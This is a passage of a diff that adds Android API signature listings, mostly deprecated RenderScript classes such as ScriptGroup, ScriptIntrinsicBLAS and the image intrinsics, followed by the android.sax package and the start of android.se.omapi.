+    method @Deprecated public android.renderscript.Script.LaunchOptions setY(int, int);
+    method @Deprecated public android.renderscript.Script.LaunchOptions setZ(int, int);
+  }
+
+  @Deprecated public class ScriptC extends android.renderscript.Script {
+    ctor @Deprecated protected ScriptC(int, android.renderscript.RenderScript);
+    ctor @Deprecated protected ScriptC(long, android.renderscript.RenderScript);
+    ctor @Deprecated protected ScriptC(android.renderscript.RenderScript, android.content.res.Resources, int);
+    ctor @Deprecated protected ScriptC(android.renderscript.RenderScript, String, byte[], byte[]);
+  }
+
+  @Deprecated public final class ScriptGroup extends android.renderscript.BaseObj {
+    method @Deprecated public Object[] execute(java.lang.Object...);
+    method @Deprecated public void execute();
+    method @Deprecated public void setInput(android.renderscript.Script.KernelID, android.renderscript.Allocation);
+    method @Deprecated public void setOutput(android.renderscript.Script.KernelID, android.renderscript.Allocation);
+  }
+
+  @Deprecated public static final class ScriptGroup.Binding {
+    ctor @Deprecated public ScriptGroup.Binding(android.renderscript.Script.FieldID, Object);
+  }
+
+  @Deprecated public static final class ScriptGroup.Builder {
+    ctor @Deprecated public ScriptGroup.Builder(android.renderscript.RenderScript);
+    method @Deprecated public android.renderscript.ScriptGroup.Builder addConnection(android.renderscript.Type, android.renderscript.Script.KernelID, android.renderscript.Script.FieldID);
+    method @Deprecated public android.renderscript.ScriptGroup.Builder addConnection(android.renderscript.Type, android.renderscript.Script.KernelID, android.renderscript.Script.KernelID);
+    method @Deprecated public android.renderscript.ScriptGroup.Builder addKernel(android.renderscript.Script.KernelID);
+    method @Deprecated public android.renderscript.ScriptGroup create();
+  }
+
+  @Deprecated public static final class ScriptGroup.Builder2 {
+    ctor @Deprecated public ScriptGroup.Builder2(android.renderscript.RenderScript);
+    method @Deprecated public android.renderscript.ScriptGroup.Input addInput();
+    method @Deprecated public android.renderscript.ScriptGroup.Closure addInvoke(android.renderscript.Script.InvokeID, java.lang.Object...);
+    method @Deprecated public android.renderscript.ScriptGroup.Closure addKernel(android.renderscript.Script.KernelID, android.renderscript.Type, java.lang.Object...);
+    method @Deprecated public android.renderscript.ScriptGroup create(String, android.renderscript.ScriptGroup.Future...);
+  }
+
+  @Deprecated public static final class ScriptGroup.Closure extends android.renderscript.BaseObj {
+    method @Deprecated public android.renderscript.ScriptGroup.Future getGlobal(android.renderscript.Script.FieldID);
+    method @Deprecated public android.renderscript.ScriptGroup.Future getReturn();
+  }
+
+  @Deprecated public static final class ScriptGroup.Future {
+  }
+
+  @Deprecated public static final class ScriptGroup.Input {
+  }
+
+  @Deprecated public abstract class ScriptIntrinsic extends android.renderscript.Script {
+  }
+
+  @Deprecated public final class ScriptIntrinsic3DLUT extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsic3DLUT create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setLUT(android.renderscript.Allocation);
+  }
+
+  @Deprecated public final class ScriptIntrinsicBLAS extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public void BNNM(android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation, int, int);
+    method @Deprecated public void CGBMV(int, int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Float2, android.renderscript.Allocation, int);
+    method @Deprecated public void CGEMM(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Float2, android.renderscript.Allocation);
+    method @Deprecated public void CGEMV(int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Float2, android.renderscript.Allocation, int);
+    method @Deprecated public void CGERC(android.renderscript.Float2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CGERU(android.renderscript.Float2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CHBMV(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Float2, android.renderscript.Allocation, int);
+    method @Deprecated public void CHEMM(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Float2, android.renderscript.Allocation);
+    method @Deprecated public void CHEMV(int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Float2, android.renderscript.Allocation, int);
+    method @Deprecated public void CHER(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CHER2(int, android.renderscript.Float2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CHER2K(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void CHERK(int, int, float, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void CHPMV(int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Float2, android.renderscript.Allocation, int);
+    method @Deprecated public void CHPR(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CHPR2(int, android.renderscript.Float2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void CSYMM(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Float2, android.renderscript.Allocation);
+    method @Deprecated public void CSYR2K(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Float2, android.renderscript.Allocation);
+    method @Deprecated public void CSYRK(int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Float2, android.renderscript.Allocation);
+    method @Deprecated public void CTBMV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void CTBSV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void CTPMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void CTPSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void CTRMM(int, int, int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void CTRMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void CTRSM(int, int, int, int, android.renderscript.Float2, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void CTRSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DGBMV(int, int, int, double, android.renderscript.Allocation, android.renderscript.Allocation, int, double, android.renderscript.Allocation, int);
+    method @Deprecated public void DGEMM(int, int, double, android.renderscript.Allocation, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void DGEMV(int, double, android.renderscript.Allocation, android.renderscript.Allocation, int, double, android.renderscript.Allocation, int);
+    method @Deprecated public void DGER(double, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void DSBMV(int, int, double, android.renderscript.Allocation, android.renderscript.Allocation, int, double, android.renderscript.Allocation, int);
+    method @Deprecated public void DSPMV(int, double, android.renderscript.Allocation, android.renderscript.Allocation, int, double, android.renderscript.Allocation, int);
+    method @Deprecated public void DSPR(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void DSPR2(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void DSYMM(int, int, double, android.renderscript.Allocation, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void DSYMV(int, double, android.renderscript.Allocation, android.renderscript.Allocation, int, double, android.renderscript.Allocation, int);
+    method @Deprecated public void DSYR(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void DSYR2(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void DSYR2K(int, int, double, android.renderscript.Allocation, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void DSYRK(int, int, double, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void DTBMV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DTBSV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DTPMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DTPSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DTRMM(int, int, int, int, double, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void DTRMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void DTRSM(int, int, int, int, double, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void DTRSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void SGBMV(int, int, int, float, android.renderscript.Allocation, android.renderscript.Allocation, int, float, android.renderscript.Allocation, int);
+    method @Deprecated public void SGEMM(int, int, float, android.renderscript.Allocation, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void SGEMV(int, float, android.renderscript.Allocation, android.renderscript.Allocation, int, float, android.renderscript.Allocation, int);
+    method @Deprecated public void SGER(float, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void SSBMV(int, int, float, android.renderscript.Allocation, android.renderscript.Allocation, int, float, android.renderscript.Allocation, int);
+    method @Deprecated public void SSPMV(int, float, android.renderscript.Allocation, android.renderscript.Allocation, int, float, android.renderscript.Allocation, int);
+    method @Deprecated public void SSPR(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void SSPR2(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void SSYMM(int, int, float, android.renderscript.Allocation, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void SSYMV(int, float, android.renderscript.Allocation, android.renderscript.Allocation, int, float, android.renderscript.Allocation, int);
+    method @Deprecated public void SSYR(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void SSYR2(int, float, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void SSYR2K(int, int, float, android.renderscript.Allocation, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void SSYRK(int, int, float, android.renderscript.Allocation, float, android.renderscript.Allocation);
+    method @Deprecated public void STBMV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void STBSV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void STPMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void STPSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void STRMM(int, int, int, int, float, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void STRMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void STRSM(int, int, int, int, float, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void STRSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZGBMV(int, int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Double2, android.renderscript.Allocation, int);
+    method @Deprecated public void ZGEMM(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Double2, android.renderscript.Allocation);
+    method @Deprecated public void ZGEMV(int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Double2, android.renderscript.Allocation, int);
+    method @Deprecated public void ZGERC(android.renderscript.Double2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZGERU(android.renderscript.Double2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZHBMV(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Double2, android.renderscript.Allocation, int);
+    method @Deprecated public void ZHEMM(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Double2, android.renderscript.Allocation);
+    method @Deprecated public void ZHEMV(int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Double2, android.renderscript.Allocation, int);
+    method @Deprecated public void ZHER(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZHER2(int, android.renderscript.Double2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZHER2K(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void ZHERK(int, int, double, android.renderscript.Allocation, double, android.renderscript.Allocation);
+    method @Deprecated public void ZHPMV(int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, int, android.renderscript.Double2, android.renderscript.Allocation, int);
+    method @Deprecated public void ZHPR(int, double, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZHPR2(int, android.renderscript.Double2, android.renderscript.Allocation, int, android.renderscript.Allocation, int, android.renderscript.Allocation);
+    method @Deprecated public void ZSYMM(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Double2, android.renderscript.Allocation);
+    method @Deprecated public void ZSYR2K(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Double2, android.renderscript.Allocation);
+    method @Deprecated public void ZSYRK(int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Double2, android.renderscript.Allocation);
+    method @Deprecated public void ZTBMV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZTBSV(int, int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZTPMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZTPSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZTRMM(int, int, int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void ZTRMV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public void ZTRSM(int, int, int, int, android.renderscript.Double2, android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void ZTRSV(int, int, int, android.renderscript.Allocation, android.renderscript.Allocation, int);
+    method @Deprecated public static android.renderscript.ScriptIntrinsicBLAS create(android.renderscript.RenderScript);
+    field @Deprecated public static final int CONJ_TRANSPOSE = 113; // 0x71
+    field @Deprecated public static final int LEFT = 141; // 0x8d
+    field @Deprecated public static final int LOWER = 122; // 0x7a
+    field @Deprecated public static final int NON_UNIT = 131; // 0x83
+    field @Deprecated public static final int NO_TRANSPOSE = 111; // 0x6f
+    field @Deprecated public static final int RIGHT = 142; // 0x8e
+    field @Deprecated public static final int TRANSPOSE = 112; // 0x70
+    field @Deprecated public static final int UNIT = 132; // 0x84
+    field @Deprecated public static final int UPPER = 121; // 0x79
+  }
+
+  @Deprecated public class ScriptIntrinsicBlend extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicBlend create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEachAdd(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachAdd(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachClear(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachClear(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachDst(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachDst(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachDstAtop(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachDstAtop(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachDstIn(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachDstIn(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachDstOut(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachDstOut(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachDstOver(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachDstOver(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachMultiply(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachMultiply(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSrc(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSrc(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSrcAtop(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSrcAtop(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSrcIn(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSrcIn(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSrcOut(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSrcOut(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSrcOver(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSrcOver(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachSubtract(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachSubtract(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEachXor(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEachXor(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDAdd();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDClear();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDDst();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDDstAtop();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDDstIn();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDDstOut();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDDstOver();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDMultiply();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSrc();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSrcAtop();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSrcIn();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSrcOut();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSrcOver();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDSubtract();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelIDXor();
+  }
+
+  @Deprecated public final class ScriptIntrinsicBlur extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicBlur create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setInput(android.renderscript.Allocation);
+    method @Deprecated public void setRadius(float);
+  }
+
+  @Deprecated public final class ScriptIntrinsicColorMatrix extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicColorMatrix create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public static android.renderscript.ScriptIntrinsicColorMatrix create(android.renderscript.RenderScript);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setAdd(android.renderscript.Float4);
+    method @Deprecated public void setAdd(float, float, float, float);
+    method @Deprecated public void setColorMatrix(android.renderscript.Matrix4f);
+    method @Deprecated public void setColorMatrix(android.renderscript.Matrix3f);
+    method @Deprecated public void setGreyscale();
+    method @Deprecated public void setRGBtoYUV();
+    method @Deprecated public void setYUVtoRGB();
+  }
+
+  @Deprecated public final class ScriptIntrinsicConvolve3x3 extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicConvolve3x3 create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setCoefficients(float[]);
+    method @Deprecated public void setInput(android.renderscript.Allocation);
+  }
+
+  @Deprecated public final class ScriptIntrinsicConvolve5x5 extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicConvolve5x5 create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setCoefficients(float[]);
+    method @Deprecated public void setInput(android.renderscript.Allocation);
+  }
+
+  @Deprecated public final class ScriptIntrinsicHistogram extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicHistogram create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public void forEach_Dot(android.renderscript.Allocation);
+    method @Deprecated public void forEach_Dot(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID_Separate();
+    method @Deprecated public void setDotCoefficients(float, float, float, float);
+    method @Deprecated public void setOutput(android.renderscript.Allocation);
+  }
+
+  @Deprecated public final class ScriptIntrinsicLUT extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicLUT create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation);
+    method @Deprecated public void forEach(android.renderscript.Allocation, android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setAlpha(int, int);
+    method @Deprecated public void setBlue(int, int);
+    method @Deprecated public void setGreen(int, int);
+    method @Deprecated public void setRed(int, int);
+  }
+
+  @Deprecated public final class ScriptIntrinsicResize extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicResize create(android.renderscript.RenderScript);
+    method @Deprecated public void forEach_bicubic(android.renderscript.Allocation);
+    method @Deprecated public void forEach_bicubic(android.renderscript.Allocation, android.renderscript.Script.LaunchOptions);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID_bicubic();
+    method @Deprecated public void setInput(android.renderscript.Allocation);
+  }
+
+  @Deprecated public final class ScriptIntrinsicYuvToRGB extends android.renderscript.ScriptIntrinsic {
+    method @Deprecated public static android.renderscript.ScriptIntrinsicYuvToRGB create(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public void forEach(android.renderscript.Allocation);
+    method @Deprecated public android.renderscript.Script.FieldID getFieldID_Input();
+    method @Deprecated public android.renderscript.Script.KernelID getKernelID();
+    method @Deprecated public void setInput(android.renderscript.Allocation);
+  }
+
+  @Deprecated public class Short2 {
+    ctor @Deprecated public Short2();
+    ctor @Deprecated public Short2(short, short);
+    field @Deprecated public short x;
+    field @Deprecated public short y;
+  }
+
+  @Deprecated public class Short3 {
+    ctor @Deprecated public Short3();
+    ctor @Deprecated public Short3(short, short, short);
+    field @Deprecated public short x;
+    field @Deprecated public short y;
+    field @Deprecated public short z;
+  }
+
+  @Deprecated public class Short4 {
+    ctor @Deprecated public Short4();
+    ctor @Deprecated public Short4(short, short, short, short);
+    field @Deprecated public short w;
+    field @Deprecated public short x;
+    field @Deprecated public short y;
+    field @Deprecated public short z;
+  }
+
+  @Deprecated public class Type extends android.renderscript.BaseObj {
+    method @Deprecated public static android.renderscript.Type createX(android.renderscript.RenderScript, android.renderscript.Element, int);
+    method @Deprecated public static android.renderscript.Type createXY(android.renderscript.RenderScript, android.renderscript.Element, int, int);
+    method @Deprecated public static android.renderscript.Type createXYZ(android.renderscript.RenderScript, android.renderscript.Element, int, int, int);
+    method @Deprecated public int getCount();
+    method @Deprecated public android.renderscript.Element getElement();
+    method @Deprecated public int getX();
+    method @Deprecated public int getY();
+    method @Deprecated public int getYuv();
+    method @Deprecated public int getZ();
+    method @Deprecated public boolean hasFaces();
+    method @Deprecated public boolean hasMipmaps();
+  }
+
+  @Deprecated public static class Type.Builder {
+    ctor @Deprecated public Type.Builder(android.renderscript.RenderScript, android.renderscript.Element);
+    method @Deprecated public android.renderscript.Type create();
+    method @Deprecated public android.renderscript.Type.Builder setFaces(boolean);
+    method @Deprecated public android.renderscript.Type.Builder setMipmaps(boolean);
+    method @Deprecated public android.renderscript.Type.Builder setX(int);
+    method @Deprecated public android.renderscript.Type.Builder setY(int);
+    method @Deprecated public android.renderscript.Type.Builder setYuvFormat(int);
+    method @Deprecated public android.renderscript.Type.Builder setZ(int);
+  }
+
+  @Deprecated public enum Type.CubemapFace {
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace NEGATIVE_X;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace NEGATIVE_Y;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace NEGATIVE_Z;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITIVE_X;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITIVE_Y;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITIVE_Z;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITVE_X;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITVE_Y;
+    enum_constant @Deprecated public static final android.renderscript.Type.CubemapFace POSITVE_Z;
+  }
+
+}
+
+package android.sax {
+
+  public class Element {
+    method public android.sax.Element getChild(String);
+    method public android.sax.Element getChild(String, String);
+    method public android.sax.Element requireChild(String);
+    method public android.sax.Element requireChild(String, String);
+    method public void setElementListener(android.sax.ElementListener);
+    method public void setEndElementListener(android.sax.EndElementListener);
+    method public void setEndTextElementListener(android.sax.EndTextElementListener);
+    method public void setStartElementListener(android.sax.StartElementListener);
+    method public void setTextElementListener(android.sax.TextElementListener);
+  }
+
+  public interface ElementListener extends android.sax.StartElementListener android.sax.EndElementListener {
+  }
+
+  public interface EndElementListener {
+    method public void end();
+  }
+
+  public interface EndTextElementListener {
+    method public void end(String);
+  }
+
+  public class RootElement extends android.sax.Element {
+    ctor public RootElement(String, String);
+    ctor public RootElement(String);
+    method public org.xml.sax.ContentHandler getContentHandler();
+  }
+
+  public interface StartElementListener {
+    method public void start(org.xml.sax.Attributes);
+  }
+
+  public interface TextElementListener extends android.sax.StartElementListener android.sax.EndTextElementListener {
+  }
+
+}
+
+package android.se.omapi {
+
+  public final class Channel implements java.nio.channels.Channel {
+    method public void close();
+    method @Nullable public byte[] getSelectResponse();
+    method @NonNull public android.se.omapi.Session getSession();
+    method public boolean isBasicChannel();
+    method public boolean isOpen();
+    method public boolean selectNext() throws java.io.IOException;
+    method @NonNull public byte[] transmit(@NonNull byte[]) throws java.io.IOException;
+  }
+
+  public final class Reader {
+    method public void closeSessions();
+    method @NonNull public String getName();
+    method @NonNull public android.se.omapi.SEService getSEService();
+    method public boolean isSecureElementPresent();
+    method @NonNull public android.se.omapi.Session openSession() throws java.io.IOException;
+  }
+
+  public final class SEService {
